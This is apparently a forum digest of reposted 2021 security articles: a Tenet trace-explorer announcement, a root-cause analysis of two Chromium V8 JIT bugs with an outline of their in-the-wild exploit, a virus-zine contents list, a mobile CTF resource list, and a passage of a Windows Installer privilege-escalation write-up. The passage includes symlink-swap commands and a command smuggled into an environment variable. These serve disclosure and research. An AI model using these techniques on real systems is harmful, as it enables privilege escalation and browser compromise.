https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 RoguePotato - https://github.com/antonioCoco/RoguePotato Invoke-ReflectivePEInjection - https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1 Sharp-SMBExec - https://github.com/checkymander/Sharp-SMBExec NamedPipePTH - https://github.com/S3cur3Th1sSh1t/NamedPipePTH PSThreadJob - https://github.com/PaulHigin/PSThreadJob Sursa: https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
-
- 1
-
-
Tenet: A Trace Explorer for Reverse Engineers Conventional Debuggers Are Crumbling to Software Complexity, Now What? April 20, 2021 / Markus Gaasedelen Debugging is traditionally a tedious, monotonous endeavor. While some people love the archaeological process of using a debugger to uncover software defects or perform tasks in software reverse engineering, virtually everyone agrees that the tools have started to show their age against modern software. Our methods of runtime introspection are still hyper-focused on individual states of execution. This is a problem because software has grown dramatically more complex, requiring more context and ‘situational awareness’ to properly interpret. The emergence of timeless debugging has alleviated some of these growing pains, but these solutions are still built around conventional methods of inspecting individual states rather than how they relate to one another. I am open sourcing Tenet, an IDA Pro plugin for exploring execution traces. The goal of this plugin is to provide more natural, human controls for navigating execution traces against a given binary. The basis of this work stems from the desire to research new or innovative methods to examine and distill complex execution patterns in software. Tenet is an experimental plugin for exploring software execution traces in IDA Pro Background Tenet is directly inspired by QIRA. The earliest prototypes I wrote for this date back to 2015 when I was working as a software security engineer at Microsoft. These prototypes were built on top of the private ‘trace reader’ APIs for TTD, previously known as TTT, or iDNA. I abandoned that work because I wasn’t convinced an assembly level trace explorer would make sense at the one company in the world where Windows is called ‘open source software’. I’m revisiting the idea of a trace explorer because it’s 2021 and the space is still wildly undeveloped. Among other ideas, I firmly believe in the notion that there is a geographical landscape to program execution, and that the principles of traditional cartography can be applied to the summarization, illustration, and navigation of these landscapes. As cool as I hope you find the plugin, Tenet is only a stepping stone to further research these ideas. Usage Tenet can be downloaded or cloned from GitHub. It requires IDA 7.5 and Python 3. Once properly installed, there will be a new menu entry available in the disassembler. This can be used to load externally-collected execution traces into Tenet. Tenet adds a menu entry to the IDA --> Load file submenu to load execution traces As this is the initial release, Tenet only accepts simple human-readable text traces. Please refer to the tracing readme for additional information on the trace format, limitations, and reference tracers. Bidirectional Exploration While using Tenet, the plugin will ‘paint’ trails to indicate the flow of execution forwards (blue) and backwards (red) from your present position in the active execution trace. Tenet provides locality to past and present execution flow while navigating the trace To step forwards or backwards through time, you simply scroll while hovering over the timeline on the right side of the disassembler. To step over function calls, hold SHIFT while scrolling. Trace Timeline The trace timeline will be docked on the right side of the disassembler. This widget is used to visualize different types of events along the trace timeline and perform basic navigation as described above. The trace timeline is a key component to navigating Tenet traces and focusing on areas of interest By clicking and dragging across the timeline, it is possible to zoom in on a specific section of the execution trace. This action can be repeated any number of times to reach the desired granularity. Execution Breakpoints Clicking the instruction pointer in the registers window will highlight it in red, revealing all the locations the instruction was executed across the trace timeline. Placing a breakpoint on the current instruction and navigating between its executions by scrolling To jump between executions, scroll up or down while hovering the highlighted instruction pointer. Additionally, you can right click in the disassembly listing and select one of the navigation-based menu entries to quickly seek to the execution of an instruction of interest. Using a Tenet navigation shortcut to seek the trace to the first execution of the given instruction IDA’s native F2 hotkey can also be used to set breakpoints on arbitrary instructions. Memory Breakpoints By clicking a byte in either the stack or memory views, you will instantly see all reads/writes to that address visualized across the trace timeline. Yellow indicates a memory read, blue indicates a memory write. Seeking the trace across states of execution, based on accesses to a selected byte of memory Memory breakpoints can be navigated using the same technique described for execution breakpoints. Click a byte, and scroll while hovering the selected byte to seek the trace to each of its accesses. Right clicking a byte of interest will give you options to seek between memory read / write / access if there is a specific navigation action that you have in mind. Tenet provides a number of navigation shortcuts for memory accesses To navigate the memory view to an arbitrary address, click onto the memory view and hit G to enter either an address or database symbol to seek the view to. Region Breakpoints A rather experimental feature is setting access breakpoints for a region of memory. This is possible by highlighting a block of memory, and selecting the Find accesses action from the right click menu. Tenet allows you to set a memory access breakpoint over a region of memory, and navigate between its accesses As with normal memory breakpoints, hovering the region and scrolling can used to traverse between the accesses made to the selected region of memory. Register Seeking In reverse engineering, it’s pretty common to encounter situations where you ask yourself “Which instruction set this register to its current value?” Using Tenet, you can seek backwards to that instruction in a single click. Seeking to the timestamp responsible for setting a register of interest Seeking backwards is by far the most common direction to navigate across register changes… but for dexterity you can also seek forward to the next register assignment using the blue arrow on the right of the register. Timestamp Shell A simple ‘shell’ is provided to navigate to specific timestamps in the trace. Pasting (or typing…) a timestamp into the shell with or without commas will suffice. The 'timestamp shell' can be used to navigate the trace reader to a specific timestamp Using an exclamation point, you can also seek a specified ‘percentage’ into the trace. Entering !100 will seek to the final instruction in the trace, where !50 will seek approximately 50% of the way through the trace. Themes Tenet ships with two default themes – a ‘light’ theme, and a ‘dark’ one. Depending on the colors currently used by your disassembler, Tenet will attempt to select the theme that seems most appropriate. Tenet has both light, and dark themes that will be selected based on the user's disassembly theme The theme files are stored as simple JSON on disk and are highly configurable. If you are not happy with the default themes or colors, you can create your own themes and simply drop them in the user theme directory. Tenet will remember your theme preference for future loads and uses. Open Source Tenet is currently an unfunded research project. It is available for free on GitHub, published under the MIT license. In the public README, there is additional information on how to get started, future ideas, and even an FAQ that have not been covered in this post. Without funding, the time I can devote to this project is limited. If your organization is excited by the ideas put forth here and capable of providing capital to sponsor dedicated development time towards Tenet, please contact us. Related Works There aren’t many robust projects (or products) in this space, and it’s important to raise awareness for the few that exist. If you found this blogpost interesting, please consider exploring and supporting more of these technologies: QIRA – QEMU Interactive Runtime Analyser Microsoft TTD – Time Travel Debugging for Windows RR // Pernosco – Timeless debugging for Linux PANDA – Full system tracing, built on QEMU REVEN – Full system tracing, built on PANDA / VirtualBox UndoDB – Reversible debugging for Linux and Android DejaVM – :^) Conclusion In this post, we presented a new IDA Pro plugin called Tenet. It is an experimental plugin designed to explore software execution traces. It can be used both as an aid in the reverse engineering process, and a research technology to explore new ideas in program analysis, visualization, and the efficacy of next generation debugging experiences. Our experience developing for these technologies is second to none. RET2 is happy to consult in these spaces, providing plugin development services, the addition of custom features to existing works, or other unique opportunities with regard to security tooling. If your organization has a need for this expertise, please feel free to reach out. Sursa: https://blog.ret2.io/2021/04/20/tenet-trace-explorer/
-
Analysis of Chromium issue 1196683, 1195777 Apr 20, 2021 • iamelli0t On April 12, a code commit[1] in Chromium get people’s attention. This is a bugfix for some vulnerability in Chromium Javascript engine v8. At the same time, the regression test case regress-1196683.js for this bugfix was also submitted. Based on this regression test case, some security researcher published an exploit sample[2]. Due to Chrome release pipeline, the vulnerability wasn’t been fixed in Chrome stable update until April 13[3]. Coincidentally, on April 15, another code commit[4] of some bugfix in v8 has also included one regression test case regress-1195777.js. Based on this test case, the exploit sample was exposed again[5]. Since the latest Chrome stable version does not pull this bugfix commit, the sample can still exploit in render process of latest Chrome. When the vulnerable Chormium browser accesses a malicious link without enabling the sandbox (–no-sandbox), the vulnerability will be triggered and caused remote code execution. RCA of Issue 1196683 The bugfix for this issue is shown as follows: This commit fixes the issue of incorrect instruction selection for the ChangeInt32ToInt64 node in the instruction selection phase of v8 TurboFan. Before the commit, instruction selection is according to the input node type of the ChangeInt32ToInt64 node. If the input node type is a signed integer, it selects the instruction X64Movsxlq for sign extension, otherwise it selects X64Movl for zero extension. After the bugfix, X64Movsxlq will be selected for sign extension regardless of the input node type. First, let’s analyze the root cause of this vulnerability via regress-1196683.js: (function() { const arr = new Uint32Array([2**31]); function foo() { return (arr[0] ^ 0) + 1; } %PrepareFunctionForOptimization(foo); assertEquals(-(2**31) + 1, foo()); %OptimizeFunctionOnNextCall(foo); assertEquals(-(2**31) + 1, foo()); }); The foo function that triggers JIT has only one code line. Let’s focus on the optimization process of (arr[0] ^ 0) + 1 in the key phases of TurboFan: 1) TyperPhase The XOR operator corresponds to node 32, and its two inputs are the constant 0 (node 24) and arr[0] (node 80). 2) SimplifiedLoweringPhase The original node 32: SpeculativeNumberBitwiseXor is optimized to Word32Xor, and the successor node ChangeInt32ToInt64 is added after Word32Xor. At this time, the input node (Word32Xor) type of ChangeInt32ToInt64 is Signed32. 3) EarlyOptimizationPhase We can see that the original node 32 (Word32Xor) has been deleted and replaced with node 80 as the input of the node 110 ChangeInt32ToInt64. Now the input node (LoadTypedElement) type of ChangeInt32ToInt64 is Unsigned32. The v8 code corresponding to the logic is as follows: template <typename WordNAdapter> Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) { using A = WordNAdapter; A a(this); typename A::IntNBinopMatcher m(node); if (m.right().Is(0)) return Replace(m.left().node()); // x ^ 0 => x if (m.IsFoldable()) { // K ^ K => K (K stands for arbitrary constants) return a.ReplaceIntN(m.left().ResolvedValue() ^ m.right().ResolvedValue()); } if (m.LeftEqualsRight()) return ReplaceInt32(0); // x ^ x => 0 if (A::IsWordNXor(m.left()) && m.right().Is(-1)) { typename A::IntNBinopMatcher mleft(m.left().node()); if (mleft.right().Is(-1)) { // (x ^ -1) ^ -1 => x return Replace(mleft.left().node()); } } return a.TryMatchWordNRor(node); } As the code shown above, for the case of x ^ 0 => x, the left node is used to replace the current node, which introduces the wrong data type. 4) InstructionSelectionPhase According to the previous analysis, in instruction selection phase, because the input node (LoadTypedElement) type of ChangeInt32ToInt64 is Unsigned32, the X64Movl instruction is selected to replace the ChangeInt32ToInt64 node finally: Because the zero extended instruction X64Movl is selected incorrectly, (arr[0] ^ 0) returns the wrong value: 0x0000000080000000. Finally, using this vulnerability, a variable x with an unexpected value 1 in JIT can be obtained via the following code (the expected value should be 0): const _arr = new Uint32Array([0x80000000]); function foo() { var x = (_arr[0] ^ 0) + 1; x = Math.abs(x); x -= 0x7fffffff; x = Math.max(x, 0); x -= 1; if(x==-1) x = 0; return x; } RCA of Issue 1195777 The bugfix for this issue is shown as follows: This commit fixes a integer conversion node generation error which used to convert a 64-bit integer to a 32-bit integer (truncation) in SimplifiedLowering phase. Before the commit, if the output type of current node is Signed32 or Unsigned32, the TruncateInt64ToInt32 node is generated. After the commit, if the output type of current node is Unsigned32, the type of use_info is needed to be checked next. Only when use_info.type_check() == TypeCheckKind::kNone, the TruncateInt64ToInt32 node wiill be generated. First, let’s analyze the root cause of this vulnerability via regress-1195777.js: (function() { function foo(b) { let x = -1; if (b) x = 0xFFFFFFFF; return -1 < Math.max(0, x, -1); } assertTrue(foo(true)); %PrepareFunctionForOptimization(foo); assertTrue(foo(false)); %OptimizeFunctionOnNextCall(foo); assertTrue(foo(true)); })(); The key code in foo function which triggers JIT is ‘return -1 < Math.max(0, x, -1)’. Let’s focus on the optimization process of Math.max(0, x, -1) in the key phases of TurboFan: 1) TyperPhase Math.max(0, x, -1) corresponds to node 56 and node 58. The output of node 58 is used as the input of node 41: SpeculativeNumberLessThan (<) . 2) TypedLoweringPhase The two constant parameters 0, -1 (node 54 and node 55) in Math.max(0, x, -1) are replaced with constant node 32 and node 14. 3) SimplifiedLoweringPhase The original NumberMax node 56 and node 58 are replaced by Int64LessThan + Select nodes. The original node 41: SpeculativeNumberLessThan is replaced with Int32LessThan. When processing the input node of SpeculativeNumberLessThan, because the output type of the input node (Select) is Unsigned32, the vulnerability is triggered and the node 76: TruncateInt64ToInt32 is generated incorrectly. The result of Math.max(0, x, -1) is truncated to Signed32. Therefore, when the x in Math.max(0, x, -1) is Unsigned32, it will be truncated to Signed32 by TruncateInt64ToInt32. Finally, using this vulnerability, a variable x with an unexpected value 1 in JIT can be obtained via the following code (the expected value should be 0): function foo(flag){ let x = -1; if (flag){ x = 0xFFFFFFFF; } x = Math.sign(0 - Math.max(0, x, -1)); return x; } Exploit analysis According to the above root cause analysis, we can see that the two vulnerabilities are triggered when TurboFan performs integer data type conversion (expansion, truncation). Using the two vulnerabilities, a variable x with an unexpected value 1 in JIT can be obtained. According to the samples exploited in the wild, the exploit is following the steps below: 1) Create an Array which length is 1 with the help of variable x which has the error value 1; 2) Obtain an out-of-bounds array with length 0xFFFFFFFF through Array.prototype.shift(); The key code is as shown follows: var arr = new Array(x); // wrong: x = 1 arr.shift(); // oob var cor = [1.8010758439469018e-226, 4.6672617056762661e-62, 1.1945305861211498e+103]; return [arr, cor]; The JIT code of var arr = new Array(x) is: Rdi is the length of arr, which value is 1. It shift left one bit (rdi+rdi) by pointer compression and stored in JSArray.length property (+0xC). The JIT code of arr.shift() is: After arr.shift(), the length of arr is assigned by constant 0xFFFFFFFE directly, the optimization process is shown as follows: (1)TyperPhase The array length assignment operation is mainly composed of node 152 and node 153. The node 152 caculates Array.length-1. The node 153 saves the calculation result in Array.length (+0xC). (2)LoadEliminationPhase Since the value of x which collected by Ignition is 0, constant folding (0-1=-1) happens here to get the constant 0xFFFFFFFF. After shift left one bit, it is 0xFFFFFFFE, which is stored in Array.length (+0xC). Thus, an out-of-bounds array with a length of 0xFFFFFFFF is obtained. After the out-of-bounds array is obtained, the next steps are common: 3) Realize addrof/fakeobj with the help of this out-of-bounds array; 4) Fake a JSArray to achieve arbitrary memory read/write primitive wth the help of addrof/fakeobj; The memory layout of arr and cor in exploit sample is: (1) Use the vulnerability to obtain an arr with the length of 0xFFFFFFFF (red box) (2) Use the out-of-bounds arr and cor to achieve addrof/fakeobj (green box) (3) Use the out-of-bounds arr to modify the length of cor (yellow box) (4) Use the out-of-bounds cor, leak the map and properties of the cor (blue box), fake a JSArray, and use this fake JSArray to achieve arbitrary memory read/write primitive 5) Execute shellcode with the help of WebAssembly; Finally, a memory page with RWX attributes is created with the help of WebAssembly. The shellcode is copied to the memory page, and executed in the end. The exploitation screenshot: References [1] https://chromium-review.googlesource.com/c/v8/v8/+/2820971 [2] https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js [3] https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html [4] https://chromium-review.googlesource.com/c/v8/v8/+/2826114 [5] https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js Sursa: https://iamelli0t.github.io/2021/04/20/Chromium-Issue-1196683-1195777.html
- 1 reply
-
- 1
-
-
tmp.0ut Volume 1 - April 2021 │ █ │ │ CONTENTS └───────────────────█ ──┘ │ │ │ 1.0 Intro ....................................................... tmp.0ut Staff │ │ 1.1 Dead Bytes .................................................... xcellerator │ │ 1.2 Implementing the PT_NOTE Infection Method In x64 Assembly ........... sblip │ │ 1.3 PT_NOTE To PT_LOAD ELF Injector In Rust ............................. d3npa │ │ 1.4 PT_NOTE Disinfector In Python .................................... manizzle │ │ 1.5 Fuzzing Radare2 For 0days In About 30 Lines Of Code ..... Architect, s01den │ │ 1.6 The Polymorphic False-Disassembly Technique ........................ s01den │ │ 1.7 Lin64.Eng3ls: Some Anti-RE Techniques In A Linux Virus ...... s01den, sblip │ │ 1.8 Linux.Midrashim.asm ................................................... TMZ │ │ 1.9 In-Memory LKM Loading ........................................... netspooky │ │ 1.10 Linux SHELF Loading .................................... ulexec, Anonymous_ │ │ 1.11 Return To Original Entry Point Despite PIE ......................... s01den │ │ 1.12 Writing Viruses In MIPS Assembly For Fun (And No Profit) ........... s01den │ │ 1.13 Interview: herm1t ........................................... tmp.0ut Staff │ │ 1.14 GONE IN 360 SECONDS - Linux/Retaliation ............................ qkumba │ │ 1.15 Linux.Nasty.asm ....................................................... TMZ │ │ 1.16 Linux.Precinct3.asm ............................................. netspooky │ │ 1.17 Underground Worlds ................................................. s01den │ │ │ └──────────────────────────────────────────────────────────────────────────────────┘ >> For the txt version of this zine, visit https://tmpout.sh/1/txt/index.txt (all .html files are renamed to .txt!) or download the zip of this zine here: https://tmpout.sh/1/tmp.0ut.1.txt.zip Sursa: https://tmpout.sh/1/
-
- 1
-
-
awesome-mobile-CTF This is a curated list of mobile based CTFs, write-ups and vulnerable mobile apps. Most of them are android based due to the popularity of the platform. Inspired by android-security-awesome, osx-and-ios-security-awesome and all the other awesome security lists on @github. Mobile CTF challenges KGB Messenger ASIS CTF — ShareL Walkthrough Android reversing challenges Android app for IOT CTF CyberTruck Challenge 2019 (Detroit USA) Matryoshka-style Android reversing challenge Cybertruckchallenge19 You Shall Not Pass - BSides Canberra 2019 Mobile challenges collection BSidesSF 2018 CTF h1-702-2018-ctf-wu THC CTF 2018 - Reverse - Android serial Android crack me challenges OWASP crack me Rednaga Challenges iOS CTF Android Hacking Event 2017: AES-Decrypt Android Hacking Event 2017: Token-Generator Android Hacking Event 2017: Flag-Validator Android Hacking Event 2017: You Can Hide – But You Cannot Run Android Hacking Event 2017: Why Should I Pay? Android Hacking Event 2017: Esoteric Android Hacking Event 2016: StrangeCalculator Android Hacking Event 2016: ReverseMe Android Hacking Event 2016: ABunchOfNative Android Hacking Event 2016: DynChallenge PicoCTF-2014: Pickle Jar - 30 PicoCTF-2014: Revenge of the Bleichenbacher Android MIT LL CTF 2013 Evil Planner Bsides Challenge Crack-Mes GreHack-2012 - GrehAndroidMe Hackplayers.com Crackmes (in Spanish so an extra challenge): crackme 1 Hackplayers.com Crackmes (in Spanish so an extra challenge): crackme 2 Hack.Lu's CTF 2011 Reverse Engineering 300 Androidcracking.blogspot.com's Crackme’s: cracker 0 Androidcracking.blogspot.com's Crackme’s: cracker 1 Insomnia'hack-2K11 CSAW-2011: Reversing101 Defcon-19-quals: Binary_L33tness Crack me's SecuInside: CTF2011 EnoWars-CTF2011: broken_droid Anonim1133 Challenge4ctf Ctfpro CTFDroid Android CTF Android_ctf Robot CTF Android Cl.ctfk Cryptax CTF Writeups 2019 DroidCon, SEC-T CTF 2019 You Shall Not Pass - BSides Canberra 2019 CyberTruck Challenge 2019 — Android CTF Bsidessf-ctf-2019-mobile-track BsidesSF CTF - Challenge: Part 1, Part 2 2018 H1 202 2018 / H1 202 CTF H1-702 CTF (Capture the Flag) BSidesSF 2018 CTF — Android Reversing/Forensic Challenge Hack the Android4: Walkthrough (CTF Challenge) Google CTF Quals 2018 Ilam CTF: Android Reverse WriteUp 8st SharifCTF Android WriteUps: Vol I, Vol II ASIS 2018 Finals: Gunshop H1-202 CTF - Writeup M1Con CTF Write up AES decode with Cyberchef 2017 BSides San Francisco CTF 2017 : pinlock-150 BSides San Francisco CTF 2017 : flag-receiver-200 BSidesSF CTF wrap-up itsC0rg1's mobile challenge and BSides SF CTF Insomni'hack Teaser 2017 : mindreader-250 2017_labyREnth: mob1_ezdroid 2017_labyREnth: mob2_routerlocker 2017_labyREnth: mob3_showmewhatyougot 2017_labyREnth: mob4_androidpan 2017_labyREnth: mob5_iotctf 2016 LabyREnth 2016_labyREnth: mob1_lastchance 2016_labyREnth: mob2_cups 2016_labyREnth: mob3_watt 2016_labyREnth: mob4_swip3r 2016_labyREnth: mob5_ioga 2016_labyREnth: mob6_ogmob Holiday hack challenge: Part 01 Holiday hack challenge: Part 02 Holiday hack challenge: Part 04a Holiday hack challenge: Part 04b Holiday hack challenge: Part 04c Holiday hack challenge: Part 04d Holiday hack challenge: Part 04e Holiday hack challenge: Part 04f Holiday hack challenge: Part 5 0ctf-2016 Google-ctf-2016 Google-ctf-2016: ill intentions 1 Google-ctf-2016: ill intentions 2 Cyber-security-challenge-belgium-2016-qualifiers Su-ctf-2016 - android-app-100 Hackcon-ctf-2016 - you-cant-see-me-150 RC3 CTF 2016: My Lil Droid Cyber Security Challenge 2016: Dexter Cyber Security Challenge 2016: Phishing is not a crime google-ctf-2016 : little-bobby-application-250 2015 Rctf-quals-2015 Insomni-hack-ctf-2015 0ctf-2015 Cyber-security-challenge-2015 Trend-micro-ctf-2015: offensive-200 codegate-ctf-2015: dodocrackme2 Seccon-quals-ctf-2015: reverse-engineering-android-apk-1 Seccon-quals-ctf-2015 - reverse-engineering-android-apk-2 Pragyan-ctf-2015 Volgactf-quals-2015 Opentoall-ctf-2015: android-oh-no 32c3-ctf-2015: libdroid-150 Polictf 2015: crack-me-if-you-can Icectf-2015: Husavik 2014 Qiwi-ctf-2014: not-so-one-time Fdfpico-ctf-2014: droid-app-80 Su-ctf-quals-2014: commercial_application defkthon-ctf 2014: web-300 secuinside-ctf-prequal-2014: wooyatalk Qiwi-ctf-2014: easydroid Qiwi-ctf-2014: stolen-prototype TinyCTF 2014: Ooooooh! What does this button do? 31c3-ctf-2014: Nokia 1337 Asis-ctf-finals-2014: numdroid PicoCTF-2014: Droid App NDH2k14-wargames: crackme200-ChunkNorris 2013 Hack.lu CTF 2013: Robot Plans CSAW Quals CTF 2015: Herpderper 2012 Atast CTF 2012 Bin 300 Misc Nuit du Hack's 2k12 & 2k11 (pre-quals and finals) Android Crackme’s 2 Vulnerable Mobile apps: Android OWASP: OMTG-Hacking-Playground Damn insecure and vulnerable App (DIVA) Damn-Vulnerable-Bank InjuredAndroid Damn Vulnerable Hybrid Mobile App (DVHMA) Owasp: Goatdroid Project InjuredAndroid ExploitMe labs by SecurityCompass InsecureBankv2 Sieve (Vulnerable ‘Password Manager’ app) sievePWN ExploitMe Mobile Android Labs Hacme Bank Android Labs Digitalbank Dodo vulnerable bank Oracle android app Urdu vulnerable app MoshZuk File Appknox Vuln app Damn Vulnerable FirefoxOS Application Android security sandbox iOS ExploitMe Mobile iPhone Labs Owasp: iGoat Damn Vulnerable iOS App (DVIA) Damn Vulnerable iOS App (DVIA) v2 Vulnerable Web apps: Node Damn Vulnerable NodeJS Application Damn Vulnerable Serverless Application OWASP: Juice Shop Damn Vulnerable Node Application Intentionally Vulnerable node.js application Vulnode OWASP: NodeGoat Vulnerable-node PHP OWASP: Broken Web Applications(BWA) Damn Vulnerable Web Application (DVWA) Damn Vulnerable Web Services(DVWS) OWASP Hackademic Challenges OWASP: Insecure Web App Project OWASP: WebGoat Bwapp Beebox XVWA - Badly coded web application Drunk Admin Web Hacking Challenge Peruggia Mutillidae Btslab OWASP: Bricks The ButterFly Security Project WackoPicko Vicnum GameOver LAMPSecurity Training Metasploitable Metasploitable 2 Metasploitable 3 Hackazon Twiterlike UltimateLAMP Sql SQLI-labs Testenv Python Google Gruyere Java Owasp: WebGoat Puzzlemall Hacme Books Bodgeit OWASP: Web Goat Ruby on Rails Hacme Casino RailsGoat C++ Hacme Travel .NET OWASP: WebGoat.NET Hacme Bank VulnApp ColdFusion Hacme Shipping Mobile security resources Mobile app pentest cheatsheet Android security awesome Android security reference Awesome-linux-android-hacking iOS security awesome awesome-iOS-resource Mobile security wiki iPhone wiki Nyxbone Nowhere Secmobi Infosec resources OSX-iOS-reverse-engineering OSX-security-awesome Awesome-web-hacking Awesome-windows-exploitation windows-privesc-check Awesome-Hacking Awesome-reversing Aweasome-Frida Awesome-security Awesome-fuzzing Awesome-wifi-security Android vulnerabilities overview OSX-security-awesome Infosec_Reference PayloadsAllTheThings Awesome-malware-analysis Linux-reverse-engineering-101 Mobile security standards OWASP Mobile Security Project OWASP Top 10 - 2016 OWASP Mobile Application Security Verification Standard (MASVS) OWASP Mobile Security Testing Guide (MSTG) Credits http://carnal0wnage.attackresearch.com/2013/08/want-to-break-some-android-apps.html https://www.owasp.org/index.php https://github.com/ctfs http://shell-storm.org/repo/ Sursa: https://github.com/xtiankisutsa/awesome-mobile-CTF
-
- 1
-
-
CVE-2021-26415 April 21, 2021 Posted By Adrian Denkiewicz L p e , Bug bounty I’d like to share the details of CVE-2021-26415 (CVSSv3.0: 7.8) vulnerability that was patched on 2021-04-13. I found this bug somewhere around October 2020 and worked with Trend Micro’s Zero Day Initiative to report it to Microsoft. This is a Local Privilege Escalation (LPE) vulnerability affecting Windows Installer component. It’s based on the TOCTOU and file system attack using symlinks. The issue leads to write to an arbitrary file with LocalSystem privileges and partial control over content. I couldn’t find a vector that would give me a full control over the content (to replace DLL file content, etc.), but even partial control is sufficient to inject arbitrary PowerShell commands to default profile and elevate privileges once administrator account or scheduled task runs PowerShell console. I reported the issue as 0day for Windows 10 and 2019 Server, but according to the advisory, the issue affects other systems as well: 8.1, 7, 2012, 2016, 2008. Ancient systems were probably vulnerable too. Technical details Windows installer The msiexec system binary is used to install applications from MSI format (Windows Installer Packages). It’s not just an another name for PE files, but a slightly more complex format. Typical usage of msiexec requires administrative rights, there are however exceptions. For instance, the /f switch can be used by a non-privileged user to perform repair operation. This operation can often be performed without any admin rights. This switch has been used in the past in several LPE attacks - the vulnerable component was usually the MSI package itself. Typically, to look for such MSIs, I would just go to C:\Windows\Installer directory and start there. This time, we will simply pick one of existing files and use it to attack the operating system itself. The used installer (148d3c4.msi) is some random DropBox MSI that I found on my system. The repair operation can be extended with logging if /L option is provided. The msiexec will log some information to a pointed file. Let’s use procmon to see what exactly happens if following command is executed by regular user: 1 msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\foo.log In the above picture, you can see configured filters and highlights. This is useful to visually distinguish between operations running on System integrity level but impersonating normal users and those that use full power. For instance, the initial CreateFile operation on the pointed file use impersonation. The process won’t open anything that we don’t already have access to. We cannot just point at other files (say, C:\Windows\win.ini) and count on elevated access. It won’t work and from LPE perspective it’s nothing interesting. Few lines below, the file is processed again, but this time - using the full LocalSystem token. Perhaps only initial access to the file is protected? We can test that using symlinks. Symlink attack I won’t cover symlinks in detail, if this concept is new to you, please check out this great introduction to privileged file operation abuse on Windows. The James Forshaw’s symbolic link toolkit is a de facto standard to exploit such issues. In particular, BaitAndSwitch.exe application does everything that’s needed here - it traps the initial file-check in oplock, then changes the link from the original file, to somewhere else - the targeted file. The initial permission checks verify access to a safe file, but next read/write operations are performed on another file, now pointed by the same symlink. This is a typical TOCTOU issue. The kind of symlink used in this scenario, does not require any kind of special access - any unprivileged user can create one. Let’s execute following commands: 1 2 BaitAndSwitch.exe C:\temp\linkdir\link C:\temp\foo.log C:\foo.log msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\linkdir\link This is initial file access, the BOM character is written from Medium integrity thread - it also verifies access rights to a file. Once this is confirmed, the BaitAndSwitch is triggered and changes pointed location. Do you see it? The symlink already switched to a new target (C:\foo.log) and after a bunch of operations made under impersonation, the single CreateFile from LocalSystem is made. After few more actions, the file is closed and ends up saved on the disk. The file follows existing access rights rules - no extra permissions provided, but we just proved the arbitrary write. What’s inside? 1 2 3 MSI (s) (AC:34) [16:14:11:665]: Product: Dropbox Update Helper -- Configuration completed successfully. MSI (s) (AC:34) [16:14:11:665]: Windows Installer reconfigured the product. Product Name: Dropbox Update Helper. Product Version: 1.3.415.1. Product Language: 1033. Manufacturer: Dropbox, Inc.. Reconfiguration success or error status: 0. Umm. It’s pretty useless. We may overwrite important files, but won’t directly elevate privileges. We will have to work on that. Partial content control At this point, I started inspecting flags returned by msiexec /h. Perhaps it is possible to gain full or at least partial control over written data? There are certain nice candidates in the logging options parameter: /fp adds terminal properties, some of them are definitively under my control as they come from user-writable registry hives or environment variables. For instance, look how I injected ; notepad.exe ; into %APPDATA% variable. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 === Logging started: 4/15/2021 20:18:09 === Property(S): UpdateDir = C:\Program Files (x86)\Dropbox\Update\ Property(S): DropboxProgramDir = C:\Program Files (x86)\Dropbox\ Property(S): ProgramFilesFolder = C:\Program Files (x86)\ Property(S): TARGETDIR = C:\ Property(S): ALLUSERS = 1 Property(S): ARPSYSTEMCOMPONENT = 1 Property(S): DISABLEROLLBACK = 1 Property(S): Manufacturer = Dropbox, Inc. Property(S): ProductCode = {099218A5-A723-43DC-8DB5-6173656A1E94} Property(S): ProductLanguage = 1033 Property(S): ProductName = Dropbox Update Helper Property(S): ProductVersion = 1.3.415.1 Property(S): UpgradeCode = {C7A2CC6E-044B-4A2C-BD1E-E75EAD2C11B0} Property(S): MsiLogFileLocation = C:\temp\log.txt Property(S): PackageCode = {E42CA6BD-944C-4847-A481-D150906EC78E} Property(S): ProductState = 5 Property(S): ProductToBeRegistered = 1 Property(S): RestrictedUserControl = 1 Property(S): REINSTALL = ALL Property(S): REINSTALLMODE = pecms Property(S): CURRENTDIRECTORY = C:\Users\lowpriv Property(S): CLIENTUILEVEL = 2 Property(S): CLIENTPROCESSID = 12412 Property(S): MsiSystemRebootPending = 1 Property(S): PRODUCTLANGUAGE = 1033 Property(S): VersionDatabase = 300 Property(S): VersionMsi = 5.00 Property(S): VersionNT = 603 Property(S): VersionNT64 = 603 Property(S): WindowsBuild = 9600 Property(S): ServicePackLevel = 0 Property(S): ServicePackLevelMinor = 0 Property(S): MsiNTProductType = 1 Property(S): WindowsFolder = C:\WINDOWS\ Property(S): WindowsVolume = C:\ Property(S): System64Folder = C:\WINDOWS\system32\ Property(S): SystemFolder = C:\WINDOWS\SysWOW64\ Property(S): RemoteAdminTS = 1 Property(S): TempFolder = C:\Users\lowpriv\AppData\Local\Temp\ Property(S): CommonFilesFolder = C:\Program Files (x86)\Common Files\ Property(S): ProgramFiles64Folder = C:\Program Files\ Property(S): CommonFiles64Folder = C:\Program Files\Common Files\ Property(S): AppDataFolder = C:\Users\lowpriv\AppData\Roaming ; notepad.exe ;\ Property(S): FavoritesFolder = C:\Users\lowpriv\Favorites\ Property(S): NetHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Network Shortcuts\ Property(S): PersonalFolder = C:\Users\lowpriv\Documents\ Property(S): PrintHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\ Property(S): RecentFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Recent\ Property(S): SendToFolder = 